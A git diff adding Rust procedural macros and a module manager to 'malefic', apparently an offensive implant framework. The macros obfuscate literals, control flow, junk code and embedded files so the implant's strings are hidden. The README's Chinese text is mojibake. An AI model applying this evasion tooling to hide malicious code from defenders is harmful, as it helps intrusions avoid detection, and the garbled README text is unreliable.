#[cfg(not(feature = "control_flow"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let block: syn::Block = syn::parse2(input2).expect("flow! expects a block { ... }"); + return TokenStream::from(quote! { #block }); + } +} + +/// XOR-chain state machine obfuscation (goldberg style). +/// Usage: `obf_stmts!{ stmt1; stmt2; stmt3; }` +#[proc_macro] +pub fn obf_stmts(input: TokenStream) -> TokenStream { + #[cfg(feature = "control_flow")] + { + return TokenStream::from(obf::stmts::obf_stmts_impl(input.into())); + } + #[cfg(not(feature = "control_flow"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let block: syn::Block = syn::parse2(input2).expect("obf_stmts! expects a block { ... }"); + return TokenStream::from(quote! { #block }); + } +} + +/// Integer obfuscation with reversible operation chains. +/// Usage: `obf_int!(42u32)` +#[proc_macro] +pub fn obf_int(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::integer::ObfIntInput); + return TokenStream::from(obf::integer::obf_int_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + // Input is a typed integer literal (e.g., 42u32) — pass through as-is + return input; + } +} + +/// Encrypted file embedding at compile time, decrypted at runtime. +/// Usage: `include_encrypted!("path/to/file.bin")` +/// AES mode: `include_encrypted!(aes, "path/to/file.bin")` +#[proc_macro] +pub fn include_encrypted(input: TokenStream) -> TokenStream { + #[cfg(feature = "embed_encrypt")] + { + let parsed = parse_macro_input!(input as obf::embed::EmbedInput); + return TokenStream::from(obf::embed::include_encrypted_impl(parsed)); + } + #[cfg(not(feature = "embed_encrypt"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let path = noop_parse_embed_path(input2); + return TokenStream::from(quote! { include_bytes!(#path).to_vec() }); + } +} + +/// Junk code injection attribute macro. +/// Usage: `#[junk]` or `#[junk(density = 3)]` +#[proc_macro_attribute] +pub fn junk(args: TokenStream, item: TokenStream) -> TokenStream { + #[cfg(feature = "junk_insertion")] + { + return TokenStream::from(obf::junk::junk_impl(args.into(), item.into())); + } + #[cfg(not(feature = "junk_insertion"))] + { + let _ = args; + return item; + } +} + +/// Derive macro for struct field obfuscation (AES-256-CTR shadow struct). +/// Usage: `#[derive(ObfuscateBox)]` +#[proc_macro_derive(ObfuscateBox)] +pub fn derive_obfuscate_box(input: TokenStream) -> TokenStream { + #[cfg(feature = "struct_obf")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::derive_obf::derive_obfuscate_impl(parsed)); + } + #[cfg(not(feature = "struct_obf"))] + { + let _ = input; + return TokenStream::new(); + } +} + +/// Drop-in replacement for `lazy_static!` using `OnceLock`. +/// Automatically applies literal obfuscation to initializer expressions. +/// Usage: `lazy_static! { static ref NAME: Type = expr; }` +#[proc_macro] +pub fn lazy_static(input: TokenStream) -> TokenStream { + TokenStream::from(lazy_static_impl::lazy_static_impl(input.into())) +} + +/// In-place XOR struct obfuscation derive macro. +/// Usage: `#[derive(Obfuscate)]` +#[proc_macro_derive(Obfuscate, attributes(obf))] +pub fn derive_obfuscate(input: TokenStream) -> TokenStream { + #[cfg(feature = "inplace_obf")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::derive_inplace_obf::derive_impl(parsed)); + } + #[cfg(not(feature = "inplace_obf"))] + { + let _ = input; + return TokenStream::new(); + } +} + +/// Conditional Debug/Obfuscate derive macro. +/// - **Debug builds**: generates standard `impl Debug` +/// - **Release builds** (with obf features): generates `unsafe impl Obfuscatable` +/// Usage: `#[derive(ObfDebug)]` +#[proc_macro_derive(ObfDebug, attributes(obf))] +pub fn derive_obf_debug(input: TokenStream) -> TokenStream { + #[cfg(feature = "_obf_impl")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::obf_debug::derive_obf_debug_impl(parsed)); + } + #[cfg(not(feature = "_obf_impl"))] + { + // Community: generate a basic Debug impl + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(noop_debug_impl(parsed)); + } +} + +/// Function/impl-level attribute macro for automatic literal obfuscation. +/// Usage: `#[obfuscate]`, `#[obfuscate(flow)]`, `#[obfuscate(junk = N)]` +#[proc_macro_attribute] +pub fn obfuscate(args: TokenStream, item: TokenStream) -> TokenStream { + #[cfg(feature = "_obf_impl")] + { + return TokenStream::from(obf::obfuscate_attr::obfuscate_attr_impl( + args.into(), + item.into(), + )); + } + #[cfg(not(feature = "_obf_impl"))] + { + let _ = args; + return item; + } +} + +// ============================================================================ +// Community no-op helpers (no dependency on obf/) +// ============================================================================ + +/// Parse the path from `include_encrypted!` input without the obf/ module. +/// Handles both `include_encrypted!("path")` and `include_encrypted!(aes, "path")`. +#[cfg(not(feature = "embed_encrypt"))] +fn noop_parse_embed_path(input: proc_macro2::TokenStream) -> LitStr { + syn::parse2::(input.clone()).unwrap_or_else(|_| { + // Has mode prefix (aes/xor) — skip ident and comma + let mut iter = input.into_iter(); + iter.next(); // skip ident + iter.next(); // skip comma + let rest: proc_macro2::TokenStream = iter.collect(); + syn::parse2::(rest).expect("include_encrypted! expects a string path") + }) +} + +/// Generate a basic `impl Debug` for community mode (no obfuscation). +#[cfg(not(feature = "_obf_impl"))] +fn noop_debug_impl(input: syn::DeriveInput) -> proc_macro2::TokenStream { + let name = &input.ident; + let (impl_generics, ty_generics, where_clause) = input.generics.split_for_impl(); + quote! { + impl #impl_generics ::core::fmt::Debug for #name #ty_generics #where_clause { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_struct(stringify!(#name)).finish() + } + } + } +} diff --git a/malefic-crates/macro/src/obf/lazy_static.rs b/malefic-crates/macro/src/obf/lazy_static.rs new file mode 100644 index 0000000..7c2a0d3 --- /dev/null +++ b/malefic-crates/macro/src/obf/lazy_static.rs @@ -0,0 +1,393 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::parse::{Parse, ParseStream}; +use syn::{Attribute, Expr, Ident, Token, Type, Visibility}; + +#[cfg(feature = "literal_obf")] +use syn::visit_mut::VisitMut; + +#[cfg(feature = "literal_obf")] +use crate::obf::util::LiteralObfuscator; + +/// A single `static ref NAME: TYPE = EXPR;` entry. +struct LazyStaticEntry { + attrs: Vec, + vis: Visibility, + name: Ident, + ty: Type, + init: Expr, +} + +/// The full `lazy_static! { ... }` body: one or more entries. +struct LazyStaticInput { + entries: Vec, +} + +impl Parse for LazyStaticEntry { + fn parse(input: ParseStream) -> syn::Result { + let attrs = input.call(Attribute::parse_outer)?; + let vis: Visibility = input.parse()?; + input.parse::()?; + input.parse::()?; + let name: Ident = input.parse()?; + input.parse::()?; + let ty: Type = input.parse()?; + input.parse::()?; + let init: Expr = input.parse()?; + input.parse::()?; + Ok(LazyStaticEntry { + attrs, + vis, + name, + ty, + init, + }) + } +} + +impl Parse for LazyStaticInput { + fn parse(input: ParseStream) -> syn::Result { + let mut entries = Vec::new(); + while !input.is_empty() { + entries.push(input.parse()?); + } + Ok(LazyStaticInput { entries }) + } +} + +pub fn lazy_static_impl(input: TokenStream) -> TokenStream { + let parsed: LazyStaticInput = match syn::parse2(input) { + Ok(v) => v, + Err(e) => return e.to_compile_error(), + }; + + let mut output = TokenStream::new(); + + for entry in parsed.entries { + let LazyStaticEntry { + attrs, + vis, + name, + ty, + mut init, + } = entry; + + // Apply literal obfuscation to the initializer expression (if enabled). + #[cfg(feature = "literal_obf")] + LiteralObfuscator.visit_expr_mut(&mut init); + + let expanded = quote! { + #[allow(non_camel_case_types)] + #[allow(dead_code)] + #(#attrs)* + #vis struct #name { __private_field: () } + + #[allow(non_upper_case_globals)] + #vis static #name: #name = #name { __private_field: () }; + + impl ::core::ops::Deref for #name { + type Target = #ty; + fn deref(&self) -> &#ty { + static __LAZY: ::std::sync::OnceLock<#ty> = ::std::sync::OnceLock::new(); + __LAZY.get_or_init(|| { #init }) + } + } + }; + + output.extend(expanded); + } + + output +} + +#[cfg(test)] +mod tests { + use super::lazy_static_impl; + use quote::quote; + + /// Helper: expand lazy_static and return the generated code as a string. + fn expand(input: proc_macro2::TokenStream) -> String { + lazy_static_impl(input).to_string() + } + + #[test] + fn test_generates_oncelock_deref() { + let out = expand(quote! { + static ref FOO: u32 = 42; + }); + assert!(out.contains("OnceLock"), "must use OnceLock backend"); + assert!(out.contains("Deref"), "must generate Deref impl"); + assert!(out.contains("get_or_init"), "must use get_or_init"); + } + + #[test] + fn test_struct_and_static_generated() { + let out = expand(quote! { + pub static ref MY_VAL: String = String::from("hello"); + }); + assert!(out.contains("struct MY_VAL"), "must generate struct"); + assert!(out.contains("static MY_VAL"), "must generate static"); + assert!(out.contains("__private_field"), "must have private field"); + } + + #[test] + fn test_string_from_is_obfuscated() { + let out = expand(quote! { + static ref S: String = String::from("secret"); + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_string"), + "String::from(\"...\") argument must be replaced with obf_string!, got:\n{}", + out + ); + #[cfg(not(feature = "literal_obf"))] + assert!( + !out.contains("obf_string"), + "literal_obf disabled: should not obfuscate, got:\n{}", + out + ); + } + + #[test] + fn test_typed_integer_is_obfuscated() { + let out = expand(quote! { + static ref N: u32 = 42u32; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_int"), + "typed integer 42u32 must be replaced with obf_int!, got:\n{}", + out + ); + } + + #[test] + fn test_untyped_integer_is_not_obfuscated() { + let out = expand(quote! { + static ref N: u32 = 42; + }); + assert!( + !out.contains("obf_int"), + "untyped integer 42 should NOT be obfuscated" + ); + } + + #[test] + fn test_multiple_entries() { + let out = expand(quote! { + pub static ref A: u32 = 1; + pub static ref B: String = String::from("two"); + }); + // Both structs generated + assert!(out.contains("struct A")); + assert!(out.contains("struct B")); + // String obfuscated (when literal_obf enabled) + #[cfg(feature = "literal_obf")] + assert!(out.contains("obf_string")); + } + + #[test] + fn test_macro_bodies_not_double_obfuscated() { + let out = expand(quote! { + static ref V: Vec = vec![1u8, 2u8, 3u8]; + }); + // vec! is a macro invocation — LiteralObfuscator skips macro bodies, + // so 1u8/2u8/3u8 inside vec![] must NOT be replaced. + assert!( + !out.contains("obf_int"), + "literals inside macro invocations must not be obfuscated" + ); + } + + #[test] + fn test_visibility_preserved() { + let out_pub = expand(quote! { + pub static ref X: u32 = 1; + }); + assert!(out_pub.contains("pub struct X")); + assert!(out_pub.contains("pub static X")); + + let out_priv = expand(quote! { + static ref Y: u32 = 1; + }); + // No `pub` before struct/static + assert!(!out_priv.contains("pub struct Y")); + assert!(!out_priv.contains("pub static Y")); + } + + #[test] + fn test_attributes_preserved() { + let out = expand(quote! { + #[doc = "documentation"] + pub static ref D: u32 = 1; + }); + assert!(out.contains("doc")); + } + + // ================================================================ + // Regression: patterns matching real codebase usage + // ================================================================ + + #[test] + fn test_pattern_arc_mutex_hashmap() { + // Pattern from pipe.rs, execute_armory.rs, pty/mod.rs + let out = expand(quote! { + static ref SESSIONS: Arc>> = + Arc::new(Mutex::new(HashMap::new())); + }); + assert!(out.contains("OnceLock")); + assert!(out.contains("struct SESSIONS")); + } + + #[test] + fn test_pattern_cross_ref_deref() { + // Pattern from config: CRON reads from RUNTIME_CONFIG + let out = expand(quote! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(default_runtime_config()); + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + }); + assert!(out.contains("struct RUNTIME_CONFIG")); + assert!(out.contains("struct CRON")); + } + + #[test] + fn test_pattern_codegen_import_style() { + let out = expand(quote! { + pub static ref NAME: String = String::from("implant_name"); + pub static ref KEY: Vec = vec![1, 2, 3]; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_string"), + "String::from must be auto-obfuscated" + ); + assert!(out.contains("struct NAME")); + assert!(out.contains("struct KEY")); + } + + // ================================================================ + // Plan A: "lit".to_string() pattern + // ================================================================ + + #[test] + fn test_to_string_literal_is_obfuscated() { + let out = expand(quote! { + static ref S: String = "hello".to_string(); + }); + #[cfg(feature = "literal_obf")] + { + assert!( + out.contains("obf_string"), + "\"lit\".to_string() must be replaced with obf_string!, got:\n{}", + out + ); + // The redundant .to_string() should be collapsed + assert!( + !out.contains("to_string"), + "redundant .to_string() on obf_string! should be collapsed, got:\n{}", + out + ); + } + } + + #[test] + fn test_to_string_in_block() { + let out = expand(quote! { + static ref MAP: HashMap = { + let mut m = HashMap::new(); + m.insert("key".to_string(), "value".to_string()); + m + }; + }); + #[cfg(feature = "literal_obf")] + { + // Both string literals should be obfuscated + let count = out.matches("obf_string").count(); + assert!( + count >= 2, + "both \"key\".to_string() and \"value\".to_string() must be obfuscated, got {} occurrences:\n{}", + count, out + ); + } + } + + #[test] + fn test_to_string_on_non_literal_not_touched() { + let out = expand(quote! { + static ref S: String = some_var.to_string(); + }); + assert!( + !out.contains("obf_string"), + "non-literal .to_string() must NOT be obfuscated" + ); + } + + #[test] + fn test_to_string_codegen_pattern() { + // Exact pattern that mutant codegen emits with use_obfstr=false + let out = expand(quote! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(RuntimeConfig { + cron: "*/5 * * * * * *".to_string(), + name: "malefic".to_string(), + proxy_url: "".to_string(), + }); + }); + #[cfg(feature = "literal_obf")] + { + // All three .to_string() literals should be obfuscated + let count = out.matches("obf_string").count(); + assert!( + count >= 3, + "all string literals in struct init must be obfuscated, got {} occurrences", + count + ); + } + } + + // ================================================================ + // Byte string literal obfuscation + // ================================================================ + + #[test] + fn test_byte_str_to_vec_is_obfuscated() { + let out = expand(quote! { + static ref K: Vec = b"secret".to_vec(); + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_bytes"), + "b\"...\".to_vec() must be replaced with obf_bytes!, got:\n{}", + out + ); + } + + #[test] + fn test_bare_byte_str_is_obfuscated() { + let out = expand(quote! { + static ref K: &'static [u8] = b"secret"; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_bytes"), + "bare b\"...\" must be replaced with obf_bytes!, got:\n{}", + out + ); + } + + #[test] + fn test_byte_str_to_vec_collapsed() { + let out = expand(quote! { + static ref K: Vec = b"data".to_vec(); + }); + #[cfg(feature = "literal_obf")] + { + // obf_bytes! already returns Vec, so .to_vec() should be collapsed + assert!( + !out.contains("to_vec"), + "redundant .to_vec() on obf_bytes! should be collapsed, got:\n{}", + out + ); + } + } +} diff --git a/malefic-crates/macro/src/obf/mod.rs b/malefic-crates/macro/src/obf/mod.rs new file mode 100644 index 0000000..4e71af7 --- /dev/null +++ b/malefic-crates/macro/src/obf/mod.rs @@ -0,0 +1,6 @@ +// Community Edition: only basic utilities retained. +// Pro implementations (strings, flow, junk, etc.) are not included. + +pub mod lazy_static; +pub mod obf_debug; +pub mod util; diff --git a/malefic-crates/macro/src/obf/obf_debug.rs b/malefic-crates/macro/src/obf/obf_debug.rs new file mode 100644 index 0000000..ce9aad7 --- /dev/null +++ b/malefic-crates/macro/src/obf/obf_debug.rs @@ -0,0 +1,156 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::{Data, DeriveInput, Fields, Index}; + +/// Entry point for `#[derive(ObfDebug)]`. +/// +/// Generates: +/// - **Debug builds** (`cfg(debug_assertions)`): standard `impl Debug` +/// - **Release builds** (`cfg(not(debug_assertions))`): `unsafe impl Obfuscatable` +/// via `derive_inplace_obf` (always available, no feature gate needed) +pub fn derive_obf_debug_impl(input: DeriveInput) -> TokenStream { + let debug_impl = gen_debug_impl(&input); + + #[cfg(feature = "inplace_obf")] + { + let obf_tokens = super::derive_inplace_obf::derive_impl(input); + return quote! { + #[cfg(debug_assertions)] + #debug_impl + #[cfg(not(debug_assertions))] + #obf_tokens + }; + } + + #[cfg(not(feature = "inplace_obf"))] + { + let _ = input; + return debug_impl; + } +} + +/// Generate a standard `impl Debug` equivalent to `#[derive(Debug)]`. +fn gen_debug_impl(input: &DeriveInput) -> TokenStream { + let name = &input.ident; + let (impl_generics, ty_generics, where_clause) = input.generics.split_for_impl(); + + let body = match &input.data { + Data::Struct(data) => gen_debug_struct(&name.to_string(), &data.fields), + Data::Enum(data) => gen_debug_enum(data), + Data::Union(_) => { + return syn::Error::new_spanned(name, "ObfDebug does not support unions") + .to_compile_error(); + } + }; + + quote! { + impl #impl_generics ::core::fmt::Debug for #name #ty_generics #where_clause { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + #body + } + } + } +} + +/// Debug impl body for structs (named, tuple, unit). +fn gen_debug_struct(name_str: &str, fields: &Fields) -> TokenStream { + match fields { + Fields::Named(named) => { + let field_calls: Vec = named + .named + .iter() + .filter_map(|f| { + let ident = f.ident.as_ref()?; + let ident_str = ident.to_string(); + Some(quote! { .field(#ident_str, &self.#ident) }) + }) + .collect(); + quote! { + f.debug_struct(#name_str) + #(#field_calls)* + .finish() + } + } + Fields::Unnamed(unnamed) => { + let field_calls: Vec = unnamed + .unnamed + .iter() + .enumerate() + .map(|(i, _)| { + let idx = Index::from(i); + quote! { .field(&self.#idx) } + }) + .collect(); + quote! { + f.debug_tuple(#name_str) + #(#field_calls)* + .finish() + } + } + Fields::Unit => { + quote! { + f.debug_struct(#name_str).finish() + } + } + } +} + +/// Debug impl body for enums. +fn gen_debug_enum(data: &syn::DataEnum) -> TokenStream { + let arms: Vec = data + .variants + .iter() + .map(|v| { + let variant = &v.ident; + let variant_str = variant.to_string(); + match &v.fields { + Fields::Named(named) => { + let field_idents: Vec<_> = named + .named + .iter() + .filter_map(|f| f.ident.as_ref()) + .collect(); + let field_strs: Vec = + field_idents.iter().map(|i| i.to_string()).collect(); + quote! { + Self::#variant { #(ref #field_idents),* } => { + f.debug_struct(#variant_str) + #(.field(#field_strs, #field_idents))* + .finish() + } + } + } + Fields::Unnamed(unnamed) => { + let bindings: Vec = (0..unnamed.unnamed.len()) + .map(|i| { + syn::Ident::new( + &format!("__field{}", i), + proc_macro2::Span::call_site(), + ) + }) + .collect(); + quote! { + Self::#variant(#(ref #bindings),*) => { + f.debug_tuple(#variant_str) + #(.field(#bindings))* + .finish() + } + } + } + Fields::Unit => { + quote! { + Self::#variant => { + f.write_str(#variant_str) + } + } + } + } + }) + .collect(); + + quote! { + match self { + #(#arms)* + } + } +} diff --git a/malefic-crates/macro/src/obf/util.rs b/malefic-crates/macro/src/obf/util.rs new file mode 100644 index 0000000..be372ce --- /dev/null +++ b/malefic-crates/macro/src/obf/util.rs @@ -0,0 +1,327 @@ +use rand::rngs::{OsRng, SmallRng}; +use rand::{Rng, SeedableRng}; + +/// Create a SmallRng seeded from OS randomness. +/// Fallback to const-random seed only when OS RNG is unavailable. +pub fn seeded_rng() -> SmallRng { + SmallRng::from_rng(OsRng).unwrap_or_else(|_| { + #[cfg(any( + feature = "literal_obf", + feature = "control_flow", + feature = "junk_insertion", + feature = "embed_encrypt" + ))] + { + let seed: u64 = const_random::const_random!(u64); + return SmallRng::seed_from_u64(seed); + } + #[cfg(not(any( + feature = "literal_obf", + feature = "control_flow", + feature = "junk_insertion", + feature = "embed_encrypt" + )))] + { + SmallRng::seed_from_u64(0xDEAD_BEEF_CAFE_BABE) + } + }) +} + +/// Generate a random u8 array of given length. +pub fn random_bytes(rng: &mut SmallRng, len: usize) -> Vec { + (0..len).map(|_| rng.gen::()).collect() +} + +/// Generate a random u32. +pub fn random_u32(rng: &mut SmallRng) -> u32 { + rng.gen() +} + +/// Generate a random identifier name. +pub fn random_ident(rng: &mut SmallRng) -> syn::Ident { + let name: String = (0..12) + .map(|i| { + if i == 0 { + (b'a' + rng.gen_range(0..26)) as char + } else { + let c = rng.gen_range(0..36); + if c < 26 { + (b'a' + c) as char + } else { + (b'0' + (c - 26)) as char + } + } + }) + .collect(); + syn::Ident::new(&name, proc_macro2::Span::call_site()) +} + +/// XOR two byte slices (same length). +pub fn xor_bytes(a: &[u8], b: &[u8]) -> Vec { + assert_eq!(a.len(), b.len(), "xor_bytes length mismatch"); + a.iter().zip(b.iter()).map(|(x, y)| x ^ y).collect() +} + +/// AST visitor that replaces selected literals with obfuscated forms. +/// +/// - `String::from("...")` → `::malefic_gateway::obf_string!(...)` +/// - `"...".to_string()` → `::malefic_gateway::obf_string!(...)` +/// - `b"..."` → `::malefic_gateway::obf_bytes!(...)` +/// - `b"...".to_vec()` → `::malefic_gateway::obf_bytes!(...)` +/// - Integer literals with type suffix → `::malefic_gateway::obf_int!(...)` +/// - Skips macro bodies to avoid double-obfuscation +pub struct LiteralObfuscator; + +impl syn::visit_mut::VisitMut for LiteralObfuscator { + fn visit_expr_call_mut(&mut self, node: &mut syn::ExprCall) { + syn::visit_mut::visit_expr_call_mut(self, node); + + // String::from("...") -> obfuscated String builder. + // After bare-str handling, the arg may already be obfstr!("..."), so + // we also collapse String::from(obfstr!("...")) → obf_string!("..."). + if let syn::Expr::Path(path) = node.func.as_ref() { + let segs: Vec<_> = path.path.segments.iter().collect(); + if segs.len() >= 2 + && segs[segs.len() - 2].ident == "String" + && segs[segs.len() - 1].ident == "from" + && node.args.len() == 1 + { + if let Some(arg0) = node.args.first_mut() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::Str(lit_str), + .. + }) = arg0 + { + let s = lit_str.value(); + use quote::quote; + *arg0 = syn::parse2(quote! {{ + ::malefic_gateway::obf_string!(#s) + }}) + .expect("failed to parse String::from obfuscation"); + } else if let syn::Expr::Macro(mac_expr) = arg0 { + let last_seg = mac_expr.mac.path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obfstr") { + let tokens = &mac_expr.mac.tokens; + use quote::quote; + *arg0 = syn::parse2(quote! {{ + ::malefic_gateway::obf_string!(#tokens) + }}) + .expect("failed to collapse String::from(obfstr!(...))"); + } + } + } + } + } + } + + fn visit_expr_method_call_mut(&mut self, node: &mut syn::ExprMethodCall) { + syn::visit_mut::visit_expr_method_call_mut(self, node); + + // "literal".to_string() -> obf_string!("literal") + // Also: obfstr!("literal").to_string() -> obf_string!("literal") + if node.method == "to_string" && node.args.is_empty() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::Str(lit_str), + .. + }) = node.receiver.as_ref() + { + let s = lit_str.value(); + use quote::quote; + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#s) + }) + .expect("failed to parse to_string obfuscation"); + *node.receiver = replacement; + } else if let syn::Expr::Macro(mac_expr) = node.receiver.as_ref() { + let last_seg = mac_expr.mac.path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obfstr") { + let tokens = mac_expr.mac.tokens.clone(); + use quote::quote; + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#tokens) + }) + .expect("failed to collapse obfstr.to_string to obf_string"); + *node.receiver = replacement; + } + } + } + + // b"literal".to_vec() -> obf_bytes!(b"literal") + if node.method == "to_vec" && node.args.is_empty() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::ByteStr(lit_bytes), + .. + }) = node.receiver.as_ref() + { + let bytes = lit_bytes.value(); + use quote::quote; + let byte_lit = syn::LitByteStr::new(&bytes, lit_bytes.span()); + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_bytes!(#byte_lit) + }) + .expect("failed to parse to_vec bytes obfuscation"); + *node.receiver = replacement; + } + } + } + + fn visit_expr_mut(&mut self, expr: &mut syn::Expr) { + syn::visit_mut::visit_expr_mut(self, expr); + + // After visit_expr_method_call_mut has run, we may have + // "obf_string!(...).to_string()" — collapse the redundant .to_string() + if let syn::Expr::MethodCall(ref method_call) = expr { + if method_call.method == "to_string" && method_call.args.is_empty() { + if let syn::Expr::Macro(ref mac_expr) = *method_call.receiver { + let path = &mac_expr.mac.path; + let last_seg = path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obf_string" || s.ident == "obfstr") { + // Replace `obf_string!("...").to_string()` → `obf_string!("...")` + // Also: `obfstr!("...").to_string()` → `obf_string!("...")` + // Normalize obfstr → obf_string since .to_string() means caller wants String + if last_seg.map_or(false, |s| s.ident == "obfstr") { + // Rewrite obfstr!("...").to_string() → obf_string!("...") + let tokens = &mac_expr.mac.tokens; + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#tokens) + }) + .expect("failed to rewrite obfstr.to_string to obf_string"); + *expr = new_expr; + } else { + let replacement = method_call.receiver.clone(); + *expr = (*replacement).clone(); + } + return; + } + } + } + } + + // Collapse redundant `obf_bytes!(...).to_vec()` — obf_bytes! already returns Vec + if let syn::Expr::MethodCall(ref method_call) = expr { + if method_call.method == "to_vec" && method_call.args.is_empty() { + if let syn::Expr::Macro(ref mac_expr) = *method_call.receiver { + let path = &mac_expr.mac.path; + let last_seg = path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obf_bytes") { + let replacement = method_call.receiver.clone(); + *expr = (*replacement).clone(); + return; + } + } + } + } + + // Bare byte string literal: b"..." → obf_bytes!(b"...") + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::ByteStr(lit_bytes) = &lit_expr.lit { + let bytes = lit_bytes.value(); + use quote::quote; + let byte_lit = syn::LitByteStr::new(&bytes, lit_bytes.span()); + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_bytes!(#byte_lit) + }) + .expect("failed to parse obf_bytes replacement"); + *expr = new_expr; + return; + } + } + + // Bare string literal: "..." → obfstr!("...") + // This handles cases like method args: contains_key("key"), Error::msg("msg"), etc. + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::Str(lit_str) = &lit_expr.lit { + let s = lit_str.value(); + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obfstr!(#s) + }) + .expect("failed to parse obfstr replacement"); + *expr = new_expr; + return; + } + } + + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::Int(lit_int) = &lit_expr.lit { + let suffix = lit_int.suffix(); + if !suffix.is_empty() { + let token = lit_int.token(); + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_int!(#token) + }) + .expect("failed to parse obf_int replacement"); + *expr = new_expr; + } + } + } + } + + // Visit macro bodies for custom macros (to_error!, check_request!, etc.) + // but skip Rust built-in format/assertion macros whose first argument is a format string. + fn visit_macro_mut(&mut self, mac: &mut syn::Macro) { + let last_seg = mac.path.segments.last(); + let name = last_seg.map(|s| s.ident.to_string()).unwrap_or_default(); + + // Skip macros whose arguments include format strings or compile-time patterns + const SKIP_MACROS: &[&str] = &[ + "format", + "format_args", + "println", + "print", + "eprintln", + "eprint", + "write", + "writeln", + "panic", + "todo", + "unimplemented", + "unreachable", + "assert", + "assert_eq", + "assert_ne", + "debug_assert", + "debug_assert_eq", + "debug_assert_ne", + "vec", + "concat", + "stringify", + "env", + "include", + "include_str", + "include_bytes", + "cfg", + "compile_error", + "debug", + "log", + "info", + "warn", + "error", + "trace", + "anyhow", + // Our own obfuscation macros — never recurse into them + "obf_string", + "obf_bytes", + "obf_int", + "obfstr", + "obf_stmts", + "flow", + "lazy_static", + ]; + + if SKIP_MACROS.contains(&name.as_str()) { + return; + } + + // For custom macros, try to parse their token body as expressions and visit them. + // This handles macros like to_error!(Err("...".to_string())) where the body is + // a valid Rust expression tree. + let tokens = mac.tokens.clone(); + if let Ok(mut expr) = syn::parse2::(tokens) { + self.visit_expr_mut(&mut expr); + mac.tokens = quote::quote!(#expr); + } + } +} diff --git a/malefic-crates/manager/Cargo.toml b/malefic-crates/manager/Cargo.toml new file mode 100644 index 0000000..4c5599f --- /dev/null +++ b/malefic-crates/manager/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "malefic-manager" +version = "0.1.0" +edition = "2021" + +[features] +default = ["hot_load", "addon"] +hot_load = ["malefic-runtime/loader"] +addon = [] + +[dependencies] +futures = { workspace = true } +strum = { workspace = true } +strum_macros = { workspace = true } +anyhow = { workspace = true } +async-trait = { workspace = true } +malefic-gateway = { workspace = true } + +malefic-module = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true } +malefic-runtime = { workspace = true } diff --git a/malefic-crates/manager/README.md b/malefic-crates/manager/README.md new file mode 100644 index 0000000..88d20c9 --- /dev/null +++ b/malefic-crates/manager/README.md @@ -0,0 +1,70 @@ +# malefic-manager + +模å—与æ’件的生命周期管ç†å™¨ï¼Œè´Ÿè´£æ¨¡å—注册ã€çƒ­åŠ è½½ã€æ’件存储åŠä»»åŠ¡è°ƒåº¦ç­‰æ ¸å¿ƒç®¡ç†åŠŸèƒ½ã€‚ + +## 功能简介 + +- **模å—管ç†**:统一注册ã€åˆ·æ–°å’ŒæŸ¥è¯¢æ‰€æœ‰åŠŸèƒ½æ¨¡å—(`MaleficBundle`) +- **热加载**:è¿è¡Œæ—¶åЍæ€åŠ è½½å¤–éƒ¨æ¨¡å—二进制,无需é‡å¯å³å¯æ‰©å±•能力 +- **æ’件(Addon)管ç†**:加载ã€åˆ—举和执行自定义æ’件,æ’件内容自动压缩加密存储 +- **内部指令**:内置 `ping`ã€`sleep`ã€`suicide`ã€`key_exchange` ç­‰ç³»ç»Ÿçº§å†…éƒ¨æ¨¡å—æžšä¸¾ +- **多è¿è¡Œæ—¶æ”¯æŒ**:通过 feature 选择 `tokio`ã€`async-std` 或 `smol` 异步è¿è¡Œæ—¶ + +## Features + +| Feature | 说明 | +|---------|------| +| `tokio` | 使用 tokio 作为异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 作为异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 作为异步è¿è¡Œæ—¶ | +| `hot_load` | 